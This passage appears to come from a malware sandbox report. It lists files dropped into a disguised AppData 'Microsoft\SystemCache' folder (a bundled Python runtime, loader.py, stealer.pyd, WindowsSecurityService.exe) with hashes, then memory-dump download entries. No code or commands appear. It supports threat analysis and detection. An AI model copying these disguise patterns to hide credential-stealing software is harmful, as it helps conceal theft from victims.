                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_file_system.py
                    • Size 848B
                    • SHA256 9153706d78c07b485b4b70334958dc3375bc1a1810d38cfa55d09210ca844b34
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    _raw_api.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_raw_api.py
                    • Size 18KB
                    • SHA256 c18d684da98b19b12bf9ab997d54b190ab7dc73c9122e2bb07bd179812c0379d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    __init__.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\__init__.py
                    • Size 2KB
                    • SHA256 ffe5b22b4464d3e0603cab87b3bb79b3d6eded3bd73447853becf2562b3f4e91
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    VCRUNTIME140.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\VCRUNTIME140.dll
                    • Size 116KB
                    • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    VCRUNTIME140_1.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\VCRUNTIME140_1.dll
                    • Size 48KB
                    • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _bz2.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_bz2.pyd
                    • Size 83KB
                    • SHA256 3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _ctypes.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_ctypes.pyd
                    • Size 122KB
                    • SHA256 74e0e8384f6c2503215f4cf64c92efe7257f1aec44f72d67ad37dc8ba2530bc1
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _hashlib.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_hashlib.pyd
                    • Size 64KB
                    • SHA256 fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _lzma.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_lzma.pyd
                    • Size 156KB
                    • SHA256 7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _socket.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_socket.pyd
                    • Size 81KB
                    • SHA256 b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _sqlite3.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_sqlite3.pyd
                    • Size 122KB
                    • SHA256 ee0e9b0a0af6a98d5e8ad5b9878688d2089f35978756196222b9d45f49168a9d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _ssl.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_ssl.pyd
                    • Size 174KB
                    • SHA256 a5d361707f7a2a2d726b20770e8a6fc25d753be30bcbcbbb683ffee7959557c2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _wmi.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_wmi.pyd
                    • Size 36KB
                    • SHA256 752fb80edb51f45d3cc1c046f3b007802432b91aef400c985640d6b276a67c12
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libcrypto-3.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libcrypto-3.dll
                    • Size 5.0MB
                    • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libffi-8.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libssl-3.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libssl-3.dll
                    • Size 768KB
                    • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    loader.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\loader.py
                    • Size 558B
                    • SHA256 615fff797efa7048d4211649b750bdead96f39dd35cc9b75fe6351c368681332
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    python.exe
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe
                    • Size 101KB
                    • SHA256 fd5c46d73d29ba21b04c844bbaf9096066136526911230645a2a040d23fb612b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    python3.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python3.dll
                    • Size 66KB
                    • SHA256 5146005c36455e7ede4b8ecc0dc6f6fa8ea6b4a99fedbabc1994ae27dfab9d1b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    python312._pth
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312._pth
                    • Size 82B
                    • SHA256 c83ed2c063a83e0d18db045192731517042dc4d73064659af36692697fd60acc
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    python312.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312.dll
                    • Size 6.6MB
                    • SHA256 21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    python312.zip
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312.zip
                    • Size 3.7MB
                    • SHA256 2331635c9f558b4ee3f87118c89e2f96aa68137e288645137a39dce9d13a9e64
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    select.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\select.pyd
                    • Size 30KB
                    • SHA256 411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    sqlite3.dll
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\sqlite3.dll
                    • Size 1.5MB
                    • SHA256 7ef475d27f9634f6a75e88959e003318d7eb214333d25bdf9be1270fa0308c82
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    stealer.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\stealer.pyd
                    • Size 2.1MB
                    • SHA256 6bef692ae87b97e3c22729c84ce9884d39c60140689d6d2bee8d2509ce640db5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    unicodedata.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\unicodedata.pyd
                    • Size 1.1MB
                    • SHA256 bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    WindowsSecurityService.exe
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
                    • Size 1.8MB
                    • SHA256 193e32e8970955c87b3b9da9dc2fd46005662ea78739023dae7dca73b771e232
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    memory/1796-662-0x00007FFE7E930000-0x00007FFE7EB5E000-memory.dmp
                    Download

                    memory/1796-900-0x00007FFE7E930000-0x00007FFE7EB5E000-memory.dmp
                    Download

                    memory/1796-507-0x00007FFE7E930000-0x00007FFE7EB5E000-memory.dmp
                    Download

                    memory/1796-702-0x00007FFE7E930000-0x00007FFE7EB5E000-memory.dmp
                    Download

                    memory/1796-693-0x00007FFE7E930000-0x00007FFE7EB5E000-memory.dmp
                    Download

                    memory/2340-907-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2340-903-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2340-911-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2340-895-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2340-915-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2340-920-0x00007FF6073A0000-0x00007FF607B50000-memory.dmp
                    Download

                    memory/2476-757-0x000002106C730000-0x000002106C7E2000-memory.dmp
                    Download

                    memory/2708-489-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-480-0x00007FFE7C39F000-0x00007FFE7C3A0000-memory.dmp
                    Download

                    memory/2708-500-0x0000022AAECC0000-0x0000022AAED72000-memory.dmp
                    Download

                    memory/2708-487-0x0000022AAE9E0000-0x0000022AAEA02000-memory.dmp
                    Download

                    memory/2708-492-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-481-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-502-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-499-0x0000022AAECA0000-0x0000022AAECBE000-memory.dmp
                    Download

                    memory/2708-501-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-490-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-505-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/2708-503-0x0000022AAEE80000-0x0000022AAEE8A000-memory.dmp
                    Download

                    memory/2708-491-0x00007FFE7C210000-0x00007FFE7CBB4000-memory.dmp
                    Download

                    memory/3456-700-0x00007FF6CCAE0000-0x00007FF6CD247000-memory.dmp
                    Download

                    memory/3552-0-0x00007FF69DBA0000-0x00007FF69DC33000-memory.dmp
                    Download

                    memory/3552-901-0x00007FF69DBA0000-0x00007FF69DC33000-memory.dmp
                    Download

                    memory/3552-447-0x00007FF69DBA0000-0x00007FF69DC33000-memory.dmp
                    Download

                    memory/3592-720-0x0000026DE5F80000-0x0000026DE5F9E000-memory.dmp
                    Download

                    memory/3592-719-0x0000026DE5EA0000-0x0000026DE5F52000-memory.dmp
                    Download

                    memory/3612-905-0x000000006F8E0000-0x000000006FF56000-memory.dmp
                    Download

                    memory/3612-909-0x000000006F8E0000-0x000000006FF56000-memory.dmp
                    Download

                    memory/3612-918-0x000000006F8E0000-0x000000006FF56000-memory.dmp
                    Download

                    memory/3612-899-0x000000006F8E0000-0x000000006FF56000-memory.dmp
                    Download

                    memory/3612-913-0x000000006F8E0000-0x000000006FF56000-memory.dmp
                    Download

                    memory/4012-827-0x00007FF741D10000-0x00007FF7447E6000-memory.dmp
                    Download

                    memory/4144-823-0x00000221E8560000-0x00000221E8612000-memory.dmp
                    Download

                    memory/4752-871-0x00007FF697F80000-0x00007FF6986E7000-memory.dmp
                    Download

                    memory/4752-914-0x00007FF697F80000-0x00007FF6986E7000-memory.dmp
                    Download

                    memory/4752-894-0x00007FF697F80000-0x00007FF6986E7000-memory.dmp
                    Download

                    memory/4752-919-0x00007FF697F80000-0x00007FF6986E7000-memory.dmp
                    Download

                    memory/4752-800-0x00007FF697F80000-0x00007FF6986E7000-memory.dmp
                    Download

                    memory/4796-886-0x0000021B9E8C0000-0x0000021B9E972000-memory.dmp
                    Download

                    memory/4848-841-0x0000021B7B1B0000-0x0000021B7B1D0000-memory.dmp
                    Download

                    memory/4848-855-0x00007FF654930000-0x00007FF6550E0000-memory.dmp
                    Download